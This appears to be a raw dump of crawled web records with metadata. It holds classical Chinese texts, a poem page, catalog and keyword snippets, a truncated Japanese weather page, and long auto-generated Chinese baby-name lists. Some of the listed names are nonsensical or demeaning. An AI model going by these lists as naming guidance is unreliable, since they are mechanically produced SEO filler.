言\n曾子曰。夫行也者。行礼之谓也。夫礼。贵者敬焉。老者孝焉。幼者慈焉。小者友焉。贱者惠焉。此礼也。弟子毋曰。不我知也。鄙夫鄙妇。相会于墙阴。可谓密矣。明日则或扬其言者。故士执仁与义而不闻。行之未笃也。故蓬生麻中。不扶乃直。白沙在泥。与之皆黑。是故人之相与也。譬如舟车然。相济达也。己先则援之。彼先则推之。是故人非人不济。马非马不走。土非土不高。水非水不流。弟子问于曾子曰。夫士何如则可为达矣。曾子曰。不能则学。疑则问。欲行则比贤。虽有险道修(修作循)行。达矣。今之弟子。病下人。不知事贤。耻不知而又不问。是以惑暗终其世而已矣。是谓穷民。\n疾 病\n曾子曰。君子之务盖有矣。夫华繁而实寡者。天也。言多而行寡者。人也。鹰隼以山为庳而巢其上。鱼鳖鼋鼍以川为浅而窟穴其中。卒其所以得者。饵也。是故君子苟毋以利害义。则辱何由至哉。亲戚不悦。不敢外交。近者不亲。不敢来(来作求)远。小者不审。不敢言大。故人之生也。百岁之中。有疾病焉。故君子思其不可复者而先施焉。\n亲戚既没 。虽欲孝。谁为孝乎。年既耆 艾。虽欲悌。谁为悌乎。故孝有不及。悌有不时。其此之谓与。言不远身 。言之主也。行不远身。行之本也。言有主。行有本。谓之有闻 也。\n君子尊其所闻。则高明矣。行其所闻。则广大矣。高明广大。不在于他。加 (加上有在字)之志 而已矣。与君子游 。苾 乎如入兰芷 之室。久而不闻。则与之化 矣。与小人游。腻 (腻作贷)乎如入鱼次之室(鱼次之室作鲍鱼之次 )。久而不闻。则与之化矣。是故君子慎其所去就 。与君子游。如长日加益 。而不自知也。与小人游。如履薄冰 。每履而下 。几何而不陷乎哉。","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/lingdaoli.com\/docs\/%E5%A2%9E%E8%A1%A5%E6%9B%BE%E5%AD%90%E6%B2%BB%E8%A6%81\/","date":"2021-04-14T22:38:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038078900.34\/warc\/CC-MAIN-20210414215842-20210415005842-00115.warc.gz","language":"lzh","language_score":0.6029523015,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6029523015022278, \"cmn_Hani_score\": 0.2820742726325989, \"nan_Hani_score\": 0.05851779133081436, \"jpn_Jpan_score\": 0.020767048001289368, \"wuu_Hani_score\": 0.013515928760170937}","num_words":34,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":0.603,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2009年中国十大寿星中的第五名就是王张氏。提起王张氏,知道的人非常少,一方面是由于王张氏人口少,另一方面是由于对于王张姓氏资料的有限,所以王张姓才令人如此陌生。接下来,一起随小编来看看王张姓氏男孩起名大全吧!\n王张泰楷 王张泰辉 王张泰圣 王张南楷 王张南辉 王张南圣 王张佑辉 王张佑泽 王张益博 王张益豪 王张益皓 王张益杰 王张益诚 王张国楷 王张国圣 王张楷泰 王张楷南 王张楷国 王张博益 王张博皓 王张博轩 王张博航 王张博杰 王张豪益 王张豪轩 王张豪航 王张君辉 王张君泽 王张皓益 王张皓博 王张皓轩 王张皓航 王张皓杰 王张辉泰 王张辉南 王张辉佑 王张辉君 王张轩博 王张轩豪 王张轩皓 王张轩杰 王张轩诚 王张航博 王张航豪 王张航皓 王张航杰 王张航诚 王张泽佑 王张泽君 王张杰益 王张杰博 王张杰皓 王张杰轩 王张杰航 王张诚益 王张诚轩 王张诚航 王张圣泰 王张圣南 王张圣国 王张泰泽 王张南泽 王张国辉 王张楷圣 王张博豪 王张博诚 王张豪博 王张豪皓 王张豪杰 王张皓豪 王张皓诚 王张辉国 王张泽泰 王张泽南 王张杰豪 王张杰诚 王张诚博 王张诚皓 王张诚杰 王张圣楷 王张宇益 王张宇轩 王张宇航 王张泰佑 王张泰君 王张南佑 王张南君 王张天博 王张天皓 王张天杰 王张佑泰 王张佑南 王张益宇 王张博天 王张君泰 王张君南 王张皓天 王张轩宇 王张航宇 王张杰天 王张天益 王张天轩 王张天航 王张佑君 王张益天 王张楷鹤 王张君佑 王张辉鹤 王张轩天 王张航天 王张鹤楷 王张鹤辉 王张鹤圣 王张圣鹤 王张宇泰 王张宇南 王张泰宇 王张南宇 王张天国 王张国天 王张宇天 王张宇豪 王张宇诚 王张泰国 王张泰鹤 王张南国 王张南鹤 王张天宇 王张佑楷 王张佑圣 王张益轩 王张益航 王张国泰 王张国南 王张楷佑 王张楷君 王张楷泽 王张豪宇 王张君楷 王张君圣 王张轩益 王张轩航 王张航益 王张航轩 王张鹤泰 王张鹤南 王张泽楷 王张泽圣 王张诚宇 王张圣佑 王张圣君 王张圣泽 王张宇国 王张天楷 王张天圣 王张佑益 王张佑轩 王张佑航 王张益佑 王张益君 王张国宇 王张国鹤 王张楷天 王张君益 王张君轩 王张君航 王张辉泽 王张轩佑 王张轩君 王张航佑 王张航君 王张鹤国 王张泽辉 王张圣天 王张宇博 王张宇皓 王张宇杰 王张泰南 王张南泰 王张天豪 王张天诚 王张佑国 王张国佑 王张国君 王张博宇 王张豪天 王张君国 王张皓宇 王张杰宇 王张诚天 王张博鹤 王张皓鹤 王张鹤博 王张鹤皓 王张鹤杰 王张杰鹤 王张宇泽 王张泰豪 王张泰诚 王张南豪 王张南诚 王张益楷 王张益圣 王张国博 王张国皓 王张国杰 王张楷益 王张楷轩 王张楷航 王张博国 王张豪泰 王张豪南 王张皓国 王张轩楷 王张轩圣 王张航楷 王张航圣 王张泽宇 王张杰国 王张诚泰 王张诚南 王张圣益 王张圣轩 王张圣航 王张宇佑 王张宇君 王张泰天 王张南天 王张天泰 王张天南 王张佑宇 王张君宇 王张宇鹤 王张益泽 王张楷豪 王张楷诚 王张博辉 王张豪楷 王张豪圣 王张皓辉 王张辉博 王张辉皓 王张辉杰 王张轩泽 王张航泽 王张鹤宇 王张泽益 王张泽轩 王张泽航 王张杰辉 王张诚楷 王张诚圣 王张圣豪 王张圣诚 王张佑鹤 王张国泽 王张楷辉 王张豪诚 王张君鹤 王张辉楷 王张辉圣 王张鹤佑 王张鹤君 王张鹤泽 王张泽国 王张泽鹤 王张诚豪 王张圣辉 王张宇辉 王张泰博 王张泰皓 王张泰杰 王张南博 王张南皓 王张南杰 王张天佑 王张天君 王张天泽 王张佑天 王张佑豪 王张佑诚 王张益国 王张国益 王张国轩 王张国航 王张博泰 王张博南 王张豪佑 王张豪君 王张君天 王张君豪 王张君诚 王张皓泰 王张皓南 王张辉宇 王张轩国 王张航国 王张泽天 王张杰泰 王张杰南 王张诚佑 王张诚君 王张宇楷 王张宇圣 王张泰益 王张泰轩 王张泰航 王张南益 王张南轩 王张南航 王张天辉 王张天鹤 王张佑博 王张佑皓 王张佑杰 王张益泰 王张益南 王张益辉 王张国豪 王张国诚 王张楷宇 王张楷博 王张楷皓 王张楷杰 王张博佑 王张博楷 王张博君 王张博圣 王张豪国 王张君博 王张君皓 王张君杰 王张皓佑 王张皓楷 王张皓君 王张皓圣 王张辉天 王张辉益 王张辉轩 王张辉航 王张轩泰 王张轩南 王张轩辉 王张航泰 王张航南 王张航辉 王张鹤天 王张杰佑 王张杰楷 王张杰君 王张杰圣 王张诚国 王张圣宇 王张圣博 王张圣皓 王张圣杰 王张豪鹤 王张鹤豪 王张鹤诚 王张诚鹤 王张益鹤 王张豪泽 王张轩鹤 王张航鹤 王张鹤益 王张鹤轩 王张鹤航 王张泽豪 王张泽诚 王张诚泽 王张博泽 王张豪辉 王张皓泽 王张辉豪 王张辉诚 王张泽博 王张泽皓 王张泽杰 王张杰泽 王张诚辉\n版权声明\n本文均来自互联网收集而来,方便大家阅读,版权归原创者所有\n本文仅供娱乐参考,请勿盲目迷信。","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.517mingzi.com\/mingzi\/nanhaiqiming\/45005.html","date":"2021-04-12T02:37:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038066568.16\/warc\/CC-MAIN-20210412023359-20210412053359-00171.warc.gz","language":"lzh","language_score":0.6363796592,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6363796591758728, \"nan_Hani_score\": 0.35995784401893616}","num_words":384,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.638,"perplexity_score":500.0,"cluster_detection":1} +{"text":"起名字带子的男孩名字|姓马中间带子的男孩名字?\n马子明 马子然 马子伟 马子德 马子佑 马子宸 马子天 马子涛 马子柏 马子驰 马子渊 马子桦 马子朋 马子睿 马子尧 马子思 马子远 马子伦 马子琪 马子昌 马子瑞 马子诚 马子熙 马子超 马子城 马子磊 马子龙 马子洋 马子浩 马子懿 马子瀚 马子瑜 马子舟 马子楷 马子啸 马子弘 马子东 马子银 马子余 马子平 马子玮 马子石 马子国 马子元 马子恩 马子遥 马子璋 马子江 马子炫 马子岳 马子宏 马子原 马子凡 马子泰 马子帆 马子灿 马子毅 马子运 马子邦 马子若 马子鸿 马子释 马子哲 马子维 马子浪 马子鉴 马子信 马子春 马子皓 马子翔 马子韵 马子庆 马子星 马子向 马子华 马子月 马子翼 马子波 马子栋 马子悠 马子海 马子民 马子尘 马子祥 马子杭 马子益 马子畅 马子拓 马子棕 马子鹤 马子孝 马子嘉 马子恒 马子康 马子欢 马子君 马子羽 马子彦 马子雨 马子名 马子依 马子金 马子易 马子辰","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/www.zhangjunvip.com\/post\/509.html","date":"2021-10-16T18:34:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323584913.24\/warc\/CC-MAIN-20211016170013-20211016200013-00076.warc.gz","language":"lzh","language_score":0.718960464,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7189604640007019, \"wuu_Hani_score\": 0.08589555323123932, \"cmn_Hani_score\": 0.08245595544576645, \"nan_Hani_score\": 0.051829900592565536, \"und_Ethi_score\": 0.03382633626461029}","num_words":105,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.741,"perplexity_score":500.0,"cluster_detection":1} +{"text":"史部十八 傳記類存目四\n爲臣不易編 無卷數\n內府藏本\n明黃廷鵠撰。廷鵠爵里末詳。據書前周延儒序。稱與廷鵠定交。此編卽夙昔所共討論。則萬歷末人也。所錄古來名臣。自皋陶至文天祥。凡百人。各爲之傳。而系以序贊。","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0137201.html","date":"2017-07-28T02:42:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549436321.71\/warc\/CC-MAIN-20170728022449-20170728042449-00510.warc.gz","language":"lzh","language_score":0.6053401232,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.6053401231765747, \"cmn_Hani_score\": 0.27003931999206543, \"yue_Hani_score\": 0.05801562964916229, \"jpn_Jpan_score\": 0.0365382619202137, \"wuu_Hani_score\": 0.012588832527399063}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.605,"perplexity_score":500.0,"cluster_detection":1} +{"text":"What people are saying - Write a review\nWe haven't found any reviews in the usual places.\n② 西元 ② 西漢 ② 宋 ② 東周 ② 東晉 ② 東漢 ② 南宋 ② 唐 〇 ② 土耳其 大敗 大越 中國 仁宗嘉慶 太宗 文帝 日本 王國 世宗嘉靖 北魏 占領 失敗 光緒 匈奴 印度 吐蕃 在世 安帝 成立 成爲 西元一〇 西晉 西班牙 西漢武帝元 希臘 攻占 攻打 征服 東周赧 東周顯 東漢獻帝 法國 波斯 侵入 侵犯 俄國 南宋理宗 南宋寧宗 叛亂 契丹 宣宗道光 建立 政權 洛陽 皇帝 突厥 英宗 英國 倭寇 唐高宗 埃及 拿破崙 神宗萬曆 秦始皇 起兵反元 起義 高句麗 高麗 國王 國號 條約 清高宗乾隆 荷蘭 統治 煬帝 瑞典 義大利 聖祖康熙 葡萄牙 蒙古軍 德意志 緬甸 憲宗 戰爭 暹羅 獨立 擊敗 簽訂 羅馬帝國 韃靼","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/books.google.com\/books\/about\/%E4%BA%BA%E9%A1%9E%E7%9A%84%E8%BB%8C%E8%B7%A1.html?id=aAuGAAAAIAAJ&hl=en","date":"2018-01-17T07:41:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886830.8\/warc\/CC-MAIN-20180117063030-20180117083030-00647.warc.gz","language":"lzh","language_score":0.6810039282,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6810039281845093, \"cmn_Hani_score\": 0.2559761703014374, \"nan_Hani_score\": 0.03433673083782196, \"wuu_Hani_score\": 0.016058707609772682, \"yue_Hani_score\": 0.012123743072152138}","num_words":115,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.287,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.731,"perplexity_score":500.0,"cluster_detection":1} +{"text":"司馬憙三相中山\n司馬憙三相中山,陰簡難之。田簡謂司馬憙曰:「趙使者來屬耳,獨不可語陰簡之美乎?趙必請之,君與之,即公無內難矣。君弗與趙,公因勸君立之以為正妻。陰簡之德公,無所窮矣。」果令趙請,君弗與。司馬憙曰:「君弗與趙,趙王必大怒;大怒則君必危矣。然則立以為妻,固無請人之妻不得而怨人者也。」田簡自謂取使,可以為司馬憙,可以為陰簡,可以令趙勿請也。","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/xn--5rtnx620bw5s.tw\/a2\/a202\/492.htm","date":"2018-01-21T14:56:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890771.63\/warc\/CC-MAIN-20180121135825-20180121155825-00535.warc.gz","language":"lzh","language_score":0.5983105898,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5983105897903442, \"cmn_Hani_score\": 0.3710026741027832}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.777,"perplexity_score":500.0,"cluster_detection":1} +{"text":"是当今中国姓氏排行第一百三十五位的姓氏,约占中国汉族人口的百分之零点一。位列中国百家姓第319位,尚倩逡 尚仟霞 尚杭倩 尚倩素 尚萍三 尚信花 尚楝婷 尚妖萍 尚奋英 尚淮瑶 尚聆芬 尚怡山 尚娜俐 尚力嫣 尚砾琼 尚铠瑛 尚谢娥 尚淘丽 尚斤玉 尚仇加 尚莉兹 尚镓萍 尚黛红 尚君娥 尚致萍 尚忠洁 尚运婵 尚鄢红 尚赋瑶 尚鹋瑛 尚湫冉 尚茹熠 尚悦钰 尚莹壑 尚涣瑛 尚溟霞 尚治瑛 尚研瑶 尚霞瑷 尚悦南 尚疆丽 尚呓玲 尚坩妍 尚琴春 尚妍韦 尚章妹 尚馨冉 尚声娅 尚娅蔚 尚霆颖 尚露妹 尚濉燕 尚睬玲 尚悦郎 尚溢雪 尚麒芳 尚斌娜 尚罗琴 尚馈英 尚瑛达 尚享怡 尚畴芬 尚熔悦 尚淖莹 尚志红 尚婧蔼 尚佳琳 尚任芬 尚祉颖 尚卉付 尚跻霞 尚莉浚 尚芡琳 尚澜丽 尚生悦 尚胡男 尚怡菩 尚洛燕 尚琪瑶 尚倩菽 尚鹰梅 尚昔艳 尚帧琼 尚纾琴 王谷岩、王皓轩、王奥洁、王棋航、王银栋、王达知、王辉王、王炎宝、王叶彦、王辰皓尚姓女孩怎么起名?下面小编带来尚姓女孩名字最高分,人口较多,尚越莉 尚沛梅 尚沅瑜 尚嫣容 尚萍民 尚妍刀 尚营文 尚姬琴 尚旦孔 尚预丽 尚昀嫣 尚召莉 尚翰婧 尚顶琳 尚律颖 尚洁娜 尚燕森 尚悦学 尚苘艳 尚查艳 尚驰合 尚兮秀 尚莉裙 尚瑶懿 尚悦恣 尚钶怡 尚裴佩 尚霞茵 尚澍玲 尚澜玉 尚桓琼 尚倩熹 尚毅裴 尚涎雪 尚悦至 尚莹奕 尚鹏嫣 尚灿娅 尚傣文 尚琳娜 尚森莉 尚荞美 尚姨芳 尚多英 尚逸裴 尚育妞 尚姬莉 尚恺丽 尚娜珑 尚晚娟 尚玉英 尚婕娟 尚丰嫣 尚岩秀 尚珑嫣 尚汶娅 尚妍潴 尚厢颖 尚帏怡 尚圭娟 尚轩瑛 尚寨红 尚婷莅 尚瑟玲 尚婧缨 尚清媛 尚琳淅 尚呈霞 尚熔霞 尚累怡 尚想娥 尚瑛棠 尚瑶芪 尚叙霞 尚玷瑶 尚瑛远 尚渺雪 尚琴倾 尚卓娥 尚昆雪 尚裕倩 尚莉跛 尚情琼 尚莉窈 尚班玲 尚琳穗 尚怡田 尚恺琼 尚蒴怡 尚妍姊 尚长自 尚怡璇 尚童芬 尚靳悦 尚就文 尚幸蓉 尚咨悦 尚骥英 尚亘芳 尚箴莹 尚诘莹 尚任悦 尚为梅 尚梁冉 尚学悦 尚倚虹 尚娟六 尚瑛兮 尚穸蓉 尚萍七 尚籽萍 尚鸾美 尚莹顺 尚琳夙 尚隹怡 尚婧顼 尚芷美 尚媛魁 尚绵雪 尚贺蓉 尚娜囡 尚芹玲 尚非秀 尚屿悦 尚锉萍 尚莹依 尚量仰 尚恩秀 尚德妍 尚琴淅 尚伽玉 尚怡钠 尚候娥 尚娟存 尚殊琴 尚罹丽 尚烟琳 尚须颖 尚焰艳 尚述娟 尚会琴 尚任妹 尚昀裴 尚谭美 尚纯婵 尚霞秋 尚宛琴 尚鹃瑛 尚裴莅 尚娅磬 尚悲玲 尚殊艳 尚晓娟 尚然婧 尚艳婵 尚羚琳 尚芬霞 尚决妹 尚倩柃 尚剑红 尚瑶慕 尚悦赣 尚梅瑶 尚聚莉 尚啤霞 尚裕娅 尚惟萍 尚愈洁 尚燕麇 尚淋茹 尚箫娅 尚圭瑛 尚依娜 尚缳颖 尚襄美 尚明燕 尚婷雩 尚慢玲 尚沌莹 尚炳悦 尚樱英 尚汝茹 尚详芬 尚善莉 尚冀萍 尚贺芬 尚娜湄 尚溢瑶 尚珏裴 尚眙琳 尚瑶茵 尚娅辛 尚历美 尚悦铭 尚要瑛 尚院琴 尚苒秀 尚梢娥 尚蕴秀 尚霞瑾 尚沛嫣 尚治芬 尚琳酃 尚祯艳 尚淄嫣 尚恽婧 尚瑶用 尚怡溆 尚直丽 尚齐莹 尚棕文 尚疆妹 尚劭娟 尚旨怡 尚昔芳 尚镶萍 尚鸥媛 尚绮燕 尚娜朵 尚循英 尚岩琼 尚瑶女 尚羡梅 尚倩栓 尚唤文 尚涩嫣 尚涓怡 尚睁艳 尚连怡 尚焱秀 尚郭盈 尚珑萍 尚韦瑶 尚霞只 尚袭倩 尚怡臾 尚媛升 尚色花 尚倩俐 尚紊莹 尚畹雪 尚幽婧 尚趣花 尚壹婷 尚树琴 尚娅徽 尚吓妹 尚潮瑾 尚甬怡 尚后梅 尚奋娥 尚寓婷 尚莼萍 尚漫嫣 尚岩怡 尚莹剧 尚伏燕 尚璀燕 尚炼妍 尚茹芋 尚楮文 尚婵研 尚镇娟 尚瑶朕 尚妍立 尚贱妹 尚俎颖 尚周谕 尚婧延 尚地明 尚若瑶 尚秦妹 尚衣芳 尚琳惮 尚米瑶 尚严倩 尚闵娜 尚秀霈 尚琳夫 尚纯蓉 尚俚娜 尚谊丽 尚侬倩 尚芸冉 尚揣茹 尚邈嫣 尚孟妹 尚妍晗 尚豪文 尚蔷英 尚瞿妞 尚曙娟 尚尊莹 尚肃娜 尚学婵 尚赋玉 尚娜昌 尚景文 尚励婵 尚媛媛 尚化燕 尚娅缤 尚玲佑 尚倩泓 尚榕婵 尚婵纬 尚玫霞 尚懋琴 尚泗文 尚闺娟 尚瑷婵 尚鄢瑛 尚倩泳 尚薇雄 尚芬旎 尚茉婵 尚坚洁 尚蔼朝 尚钶梅 尚禄颖 尚倩廑 尚芬蓝 尚付红 尚卫争 尚芹红 尚则妞 尚莉娓 尚亭娜 尚奔蓉 尚妹狗 尚沅秀 尚醇花 尚怡圻 尚昱悦 尚篱嫣 尚贝瑛 尚燕兹 尚留娟 尚强虹 尚蔬艳 尚悦爽 尚时莉 尚妍京 尚徐琼 尚魁洁 尚琳颍 尚琳壹 尚仆文 尚坷丽 尚铠雪 尚媛小 尚菲宁 尚腰芬 尚瑁瑛 尚莉草 尚锨琼 尚坪悦 尚惠菱 尚倬洁 尚猿媛 尚蓉役 尚钦燕 尚秀桠 尚爰洁 尚喜义 尚专梅 尚婵龙 尚帼洁 尚婧莼 尚怡洵 尚宴怡 尚冰倩 尚倩蓉 尚觅雪 尚殿花 尚溱悦 尚溢艳 尚积英 尚芳刚 尚润倩 尚机琳 尚口宽 尚度妍 尚寸巳 尚谢红 尚妁瑶 尚杪瑛 尚航娅 尚夙冉 尚眦颖 尚言倩 尚琴涛 尚茹琅 尚嫱红 尚啸丽 尚霞婷 尚贤妍 尚秕霞 尚锴英 尚业燕 尚朔嫣 尚熊芬 尚还玉 尚霄梅 尚蒙婷 尚白燕 尚鲁兰 尚隆芳 尚秀朝 尚愈妹 尚好嫣 尚笔霞 尚燕连 尚婵芯 尚娅津 尚碗茹 尚攸茹 尚莉懿 尚嫔柳 尚蓓悦 尚盟茹 尚碟英 尚卡芬 尚婵羚 尚营倩 尚蓉会 尚翘萍 尚葳艳 尚棋芳 尚萍伦 尚怡亚 尚辞萍 尚怡冰 尚琳零 尚銮珀 尚桔茹 尚徐茹 尚荐琳 尚崔洁 尚玛颖 尚衡颖 尚妍各 尚婧赜 尚宇妹 尚将怡 尚洧嫣 尚曲茹 尚圆娜 尚等霞 尚声雪 尚绮美 尚轵秀 尚嫣澄 尚玲有 尚棠莹 尚钒婧 尚茯艳 尚厌瑶 尚环芬 尚年琼 尚潘瑶 尚玲瑞 尚悦昌 尚怡士 尚市英 尚裴晔 尚礼瑶 尚翎怡 尚瑛益 尚秀汐 尚媛漩 尚倾颖 尚添娜 尚莉高 尚燕囡 尚郡孔 尚妍佟 尚莹绘 尚娱颖 尚怡蓬 尚肇萍 尚琴风 尚引莹 尚潍娜 尚做怡 尚申颖 尚蓉郡 尚薏婵 尚鹤蓉 尚萄莹 尚娅玄 尚布琴 尚伦琴 尚茹蠼 尚妍姗 尚刚芳 尚钤艳 尚硕芬 尚娟娇 尚蓝花 尚邂瑶 尚层瑶 尚曰英 尚罗玲 尚悦泠 尚秋梅 尚毛娟 尚庭倩 尚执莹 尚琢颖 尚铨娟 尚振妹 尚同颖 尚鸶艳 尚乔霞 尚六洁 尚嫒秀 尚沅丽 尚娟希 尚伍悦 尚沂霞 尚绎洁 尚初文 尚先悦 尚授英 尚粲冉 尚著梅 尚默霞 尚燕红 尚琳净 尚秀昌 尚妍赖 尚欣莹 尚遵艳 尚婷盂 尚甄蓉 尚多怡 尚记芬 尚菡丽 尚湘婷 尚爨婷 尚鸣艳 尚格霞 尚忌玲 尚穰皇 尚张蓉 尚晖英 尚绛秀 尚陆冉 尚霜英 尚艳婷 尚蔼妍 尚闺莹 尚娟梓 尚婷召 尚虞文 尚裴会 尚瑶榆 尚世婵 尚戌英 尚祈秀 尚炜冉 尚薏红 尚寿玉 尚倩茳 尚祯芳 尚尊花 尚燕阁 尚青辛 尚紊蓉 尚楚仙 尚几英 尚古琴 尚妃燕 尚蔓蓉 尚女叶 尚鹭霞 尚翰瑛 尚晗丽 尚虞雪 尚粉茹 尚倍蓉 尚靓妍 尚实怡 尚甘悦 尚茹讧 尚易秀 尚瑾芬 尚法洁 尚忠瑛 尚骄蓉 尚傲娥 尚晶冉 尚霜洁 尚锴萍 尚腾秀 尚洋娅 尚汶媛 尚岱瑛 尚芬荣 尚煊妍 尚乾丽 尚茹章 尚十琳 尚萃颖 尚媛炜 尚益雪 尚五妍 尚娜娇 尚圣妞 尚珀霞 尚茹肫 尚楂花 尚琦娟 尚馨怡 尚宸丽 尚异文 尚博琳 尚翊媛 尚吃怡 尚悦冬 尚佶花 尚祠文 尚浈琼 尚禄伦 尚燕陵 尚下椿 尚纶文 尚创莉 尚偃耿 尚蓉泾 尚渫文 尚绢玉 尚瑶姬 尚要丽 尚唏媛 尚尊娟 尚苗艳 尚辞玉 尚姊颖 尚荻婷 尚闪妍 尚落冉 尚骏丽 尚势婷 尚怡濒 尚逢文 尚莉立 尚莲燕 尚悦耘 尚桌怡 尚译红 尚超蓉 尚颜瑛 尚熙怡 尚悦谊 尚均娜 尚硕玲 尚诸妍 尚悦汨 尚网妹 尚悦泺 尚单怡 尚旺悦 尚秀钶 尚飘分 尚茹莫 尚丙悦 尚胡镳 尚愫萍 尚重娟 尚娅瑞 尚慎蓉 尚动锦 尚燕生 尚仕雪 尚丙琳 尚变芳 尚潆芬 尚媛葸 尚井美 尚活萍 尚愈婧 尚裴寓 尚茹岚 尚媛卓 尚汀雪 尚沦文 尚荃芬 尚沃婷 尚庐洁 尚莹涟 尚攀玲 尚璐铎 尚嫣英 尚妍翌 尚家洁 尚米瑛 尚镯萍 尚绣妍 尚楸瑶 尚婧裴 尚晗怡 尚凰红 尚绕文 尚咏红 尚羽丽 尚港婷 尚珑茹 尚迪嫣 尚擎玉 尚娅宾 尚臣玲 尚鼐源 尚记梅 尚琴妃尚姓是中国姓氏之一,希望对大家有所帮助。\n关键词: 女孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.guangdongpost.com\/nvhaiqiming\/832.html","date":"2019-12-06T06:40:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540484815.34\/warc\/CC-MAIN-20191206050236-20191206074236-00096.warc.gz","language":"lzh","language_score":0.9128026366,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9128026366233826, \"nan_Hani_score\": 0.04508337378501892, \"cmn_Hani_score\": 0.025364430621266365, \"und_Yiii_score\": 0.014792845584452152}","num_words":802,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.915,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n晏殊 李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n蝶恋花·槛菊愁烟兰泣露 槛菊愁烟兰泣露,罗幕轻寒,燕子双飞去。明月不谙离恨苦,斜光到晓穿朱户。(双飞去 一作:双来去 离恨苦 一作:离别苦)昨夜西风凋碧树,独上高楼,望尽天涯路。欲寄彩笺兼尺素,山长水阔知何处?\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/hqsly.tw\/index$&poet_id=g1DIMQbfDK&poet_idLabel=%E6%99%8F%E6%AE%8A.htm","date":"2020-01-28T03:57:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251773463.72\/warc\/CC-MAIN-20200128030221-20200128060221-00344.warc.gz","language":"lzh","language_score":0.6208022833,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6208022832870483, \"cmn_Hani_score\": 0.2269953489303589, \"nan_Hani_score\": 0.11077909171581268, \"wuu_Hani_score\": 0.022844871506094933, \"yue_Hani_score\": 0.013862508349120617}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.607,"perplexity_score":500.0,"cluster_detection":1} +{"text":"国際結婚で、これから蘇州へ居住される方々、もうされている方々、現地に腰をすえた方々専門サイト!\nディープで価値のある現地 からの生きた情報を\"すみからすみまで\"、ご紹介します。\n中国の天気予報 \/ 週間天気予報 \/ 年間平均気温 \/ 降水量 \/ 日の出日の入り時間\n北京市 上海市 天津市 重慶市 黒龍江省 吉林省 遼寧省 内モンゴル自治区 河北省 山西省 陜西省 山東省 新疆ウイグル族自治区 チベット自治区 青海省 甘粛省 寧夏回族自治区 河南省 江蘇省 湖北省 浙江省 安徽省 福建省 江西省 湖南省 貴州省 四川省 広東省 雲南省 広西壮族自治区 海南省 香港 澳門 台湾 ハルビン 双城 呼蘭 阿城 賓県 依蘭 巴彦 通河 方正 延寿 尚志 五常 木蘭 チチハル 訥河 竜江 甘南 富裕 依安 拜泉 克山 克東 泰来 牡丹江 海林 穆稜 林口 綏芬河 寧安 東寧 佳木斯 湯原 撫遠 樺川 樺南 同江 富錦 綏化 肇東 安達 海倫 明水 望奎 蘭西 青岡 慶安 綏稜 黒河 嫩江 孫呉 遜克 五大連池 北安 大興安嶺 塔河 漠河 呼瑪 呼中 新林 加格達奇 伊春 烏伊嶺 